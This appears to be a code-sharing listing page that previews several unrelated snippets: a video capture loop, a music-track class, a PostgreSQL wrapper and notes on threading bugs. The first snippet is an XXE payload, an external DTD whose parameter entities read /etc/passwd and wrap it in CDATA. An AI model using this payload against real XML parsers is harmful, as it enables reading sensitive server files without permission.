This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!ENTITY % file SYSTEM "file:///etc/passwd"> | |
<!ENTITY % start "<![CDATA["> | |
<!ENTITY % end "]]"> | |
<!ENTITY % wrapper "<!ENTITY all '%start;%file;%end;'>"> | |
%wrapper; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import cv2 | |
from multiprocessing import Process | |
def fun1(source): | |
# define a video capture object | |
cap = cv2.VideoCapture(source) | |
while True: | |
# Capture the video frame | |
# by frame | |
ret, frame = cap.read() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from yandex_music.client import Client | |
import time | |
class Track: | |
def __init__(self, id_of_song, song_name, artists, album_id, local_path): | |
self.id_of_song = id_of_song | |
self.song_name = song_name.replace("/", " ") | |
self.artists = artists.replace("/", " ") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import psycopg2 | |
class DB: | |
def __init__(self, db_host, db_port, db_user, db_password, db_name, db_table): | |
try: | |
self.connection = psycopg2.connect(user=db_user, password=db_password, | |
host=db_host, port=db_port, | |
database=db_name) | |
except Exception as e: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
This is not stable code of multiuser system. | |
Main issues: | |
1. If there are many threads, they can fetch db elements in wrong order e.g. 811195, 811194, 811196... | |
2. If much time a lot of time has passed from code staring, ^C can not to work to save progress to json file | |
How to solve | |
1. Maybe sort it by id? I don't think it's good idea. Need to implement threads control or smth like it. | |
2. Add [ to start of log file, and ] to end, then rename it to something.json |